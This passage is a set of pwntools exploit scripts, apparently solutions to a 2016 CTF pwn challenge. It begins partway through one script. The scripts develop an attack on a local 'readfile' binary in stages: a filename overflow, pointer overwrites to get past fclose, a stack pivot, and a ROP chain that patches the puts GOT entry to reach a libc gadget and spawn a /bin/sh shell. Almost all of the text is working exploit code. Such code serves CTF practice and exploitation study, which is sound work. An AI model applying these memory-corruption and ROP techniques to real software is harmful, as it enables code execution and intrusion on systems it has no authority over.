r.sendline(name) 11 | r.sendline(str(len(data))) 12 | r.sendline(data) 13 | 14 | def read_file(name): 15 | r.sendline('2') 16 | r.sendline(name) 17 | 18 | filename = '/tmp/' + cyclic(240, alphabet=string.ascii_uppercase) 19 | print(filename) 20 | try: 21 | os.remove(filename) 22 | except: 23 | pass 24 | 25 | r = process("./readfile") 26 | 27 | data = cyclic(1000) 28 | write_file(filename, data) 29 | 30 | r = process("./readfile") 31 | gdb.attach(r, ''' 32 | c 33 | ''') 34 | read_file(filename) 35 | 36 | r.interactive() 37 | -------------------------------------------------------------------------------- /whitehat-2016/pwn3/win_2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | # context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | r = None 7 | 8 | def write_file(name, data): 9 | r.sendline('1') 10 | r.sendline(name) 11 | r.sendline(str(len(data))) 12 | r.sendline(data) 13 | 14 | def read_file(name): 15 | r.sendline('2') 16 | r.sendline(name) 17 | 18 | filename = '/tmp/' + cyclic(240, alphabet=string.ascii_uppercase) 19 | print(filename) 20 | try: 21 | os.remove(filename) 22 | except: 23 | pass 24 | 25 | r = process("./readfile") 26 | 27 | data = 'a' * cyclic_find('paac') 28 | data += p32(0x804a0a0) 29 | data += 'b' * (1000 - len(data)) 30 | write_file(filename, data) 31 | 32 | r = process("./readfile") 33 | gdb.attach(r, ''' 34 | c 35 | ''') 36 | read_file(filename) 37 | 38 | r.interactive() 39 | -------------------------------------------------------------------------------- /whitehat-2016/pwn3/win_3.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | # context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | r = None 7 | 8 | def write_file(name, data): 9 | r.sendline('1') 10 | r.sendline(name) 11 | r.sendline(str(len(data))) 12 | r.sendline(data) 13 | 14 | def read_file(name): 15 | r.sendline('2') 16 | r.sendline(name) 17 | 18 | data = cyclic(cyclic_find('ARAA', alphabet=string.ascii_uppercase)) 19 | data += p32(0x804af00) # 2) Some valid address to pass fclose 20 | data += cyclic(240-len(data), alphabet=string.ascii_uppercase) 21 | filename = '/tmp/' + data 22 | print(filename) 23 | try: 24 | os.remove(filename) 25 | except: 26 | pass 27 | 28 | r = process("./readfile") 29 | 30 | data = 'a' * cyclic_find('paac') 31 | data += p32(0x804a0a0) # 1) Some valid address to pass fclose 32 | data += 'b' * (1000 - len(data)) 33 | write_file(filename, data) 34 | 35 | r = process("./readfile") 36 | gdb.attach(r, ''' 37 | break *0x0804890a 38 | c 39 | ''') 40 | read_file(filename) 41 | 42 | r.interactive() 43 | -------------------------------------------------------------------------------- /whitehat-2016/pwn3/win_4.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | # context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | elf = ELF('readfile') 7 | rop = ROP(elf) 8 | stager = ROP(elf) 9 | 10 | r = None 11 | 12 | def write_file(name, data): 13 | r.sendline('1') 14 | r.sendline(name) 15 | r.sendline(str(len(data))) 16 | r.sendline(data) 17 | 18 | def read_file(name): 19 | r.sendline('2') 20 | r.sendline(name) 21 | 22 | leaveret = 0x80486f1 23 | 24 | data = p32(leaveret) 25 | 26 | data2 = 'c' * cyclic_find('aaca') 27 | data2 += p32(0x04a0f000) 28 | data2 += '\x08' * (cyclic_find('ARAA', alphabet=string.ascii_uppercase) - 4 - len(data2)) 29 | data += data2 30 | 31 | data += p32(0x804af00) # 2) Some valid address to pass fclose 32 | data += p32(0x804a0a5-0x3c) # 3) Address we will be calling at instruction call [eax + 0x3c] 33 | data += cyclic(240-len(data), alphabet=string.ascii_uppercase) 34 | filename = '/tmp/' + data 35 | print(filename) 36 | try: 37 | os.remove(filename) 38 | except: 39 | pass 40 | 41 | r = process("./readfile") 42 | 43 | data = 'a' * cyclic_find('paac') 44 | data += p32(0x804a0a0) # 1) Some valid address to pass fclose 45 | data += 'b' * (1000 - len(data)) 46 | write_file(filename, data) 47 | 48 | r = process("./readfile") 49 | gdb.attach(r, ''' 50 | break *{} 51 | break *0x0804890a 52 | c 53 | '''.format(hex(leaveret))) 54 | read_file(filename) 55 | 56 | r.interactive() 57 | -------------------------------------------------------------------------------- /whitehat-2016/pwn3/win_5.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | 4 | context.terminal = ['tmux', 'splitw', '-h'] 5 | 6 | elf = ELF('readfile') 7 | rop = ROP(elf) 8 | stager = ROP(elf) 9 | 10 | r = None 11 | 12 | def write_file(name, data): 13 | r.sendline('1') 14 | r.sendline(name) 15 | r.sendline(str(len(data))) 16 | r.sendline(data) 17 | 18 | def read_file(name): 19 | r.sendline('2') 20 | r.sendline(name) 21 | 22 | """ 23 | 1: 24 | 0x080486af : mov eax, dword ptr [0x804a088] ; cmp eax, ebx ; jb 0x80486ba ; mov byte ptr [0x804a084], 1 ; add esp, 4 ; pop ebx ; pop ebp ; ret 25 | 2: 26 | 0x080486be : add dword ptr [ebx + 0x5d5b04c4], eax ; ret 27 | """ 28 | 29 | ret = 0x08048a29 30 | binsh = 0x804af00 31 | 32 | stager.gets(0x804a300) # Arbitrary address somewhere deeper in the 0x804a000 chunk 33 | stager.migrate(0x804a300) # Stack pivot to 0x804a300 34 | print(stager.dump()) 35 | 36 | rop.gets(0x804a088) # Put constant value 37 | rop.raw(0x80486af) 38 | rop.raw(0xaaaaaaaa) # junk 39 | rop.raw(elf.got['puts']-0x5d5b04c4) # puts-magic libc 40 | rop.raw(0x804a900) # junk 41 | rop.raw(0x80486be) # Add constant to puts 42 | rop.gets(binsh) # Put /bin/sh in memory 43 | rop.gets(0x804a088) # Put pointer to /bin/sh in memory 44 | rop.raw(0x80486af) # Put pointer to /bin/sh in eax 45 | rop.raw(0x804a900) # junk 46 | rop.raw(0x804a900) # junk ebx 47 | rop.raw(0x804a900) # junk ebp 48 | rop.puts(0) # Trigger magic libc 49 | 50 | leaveret = 0x80486f1 51 | 52 | data = p32(leaveret) 53 | 54 | data2 = 'c' * cyclic_find('aaca') 55 | data2 += p32(0x04a18000) 56 | data2 += '\x08' * (cyclic_find('ARAA', alphabet=string.ascii_uppercase) - 4 - len(data2)) 57 | data += data2 58 | 59 | data += p32(0x804af00) # 2) Some valid address to pass fclose 60 | data += p32(0x804a0a5-0x3c) # 3) Address we will be calling at instruction call [eax + 0x3c] 61 | data += p32(0xcafebabe) # junk data 62 | # data += str(stager) # TRIGGER FOR ROP CHAIN 63 | # data += p32(ret) * ((240-len(data)-len(str(stager)))/4) # ROP nops 64 | data += p32(0xdeadbeef) * 36 65 | data += str(stager) 66 | 67 | filename = '/tmp/' + data 68 | print(filename) 69 | try: 70 | os.remove(filename) 71 | except: 72 | pass 73 | 74 | r = process("./readfile") 75 | 76 | data = 'a' * cyclic_find('paac') 77 | data += p32(0x804a0a0) # 1) Some valid address to pass fclose 78 | data += 'b' * (1000 - len(data)) 79 | write_file(filename, data) 80 | 81 | r = process("./readfile") 82 | """ 83 | gdb.attach(r, ''' 84 | break *{} 85 | break *0x0804890a 86 | break gets 87 | break *0x80486be 88 | c 89 | '''.format(hex(leaveret))) 90 | """ 91 | read_file(filename) 92 | 93 | raw_input("Send second rop chain") 94 | r.sendline(str(rop)) # Constant value to add to puts 95 | raw_input("Send constant value") 96 | r.sendline(p32(0xfffdaa19)) # Constant value to add to puts 97 | raw_input("Send /bin/sh") 98 | r.sendline("/bin/sh\0") # Constant value to add to puts 99 | raw_input("Send pointer to /bin/sh") 100 | r.sendline(p32(binsh)) # Constant value to add to puts 101 | 102 | r.interactive() 103 | --------------------------------------------------------------------------------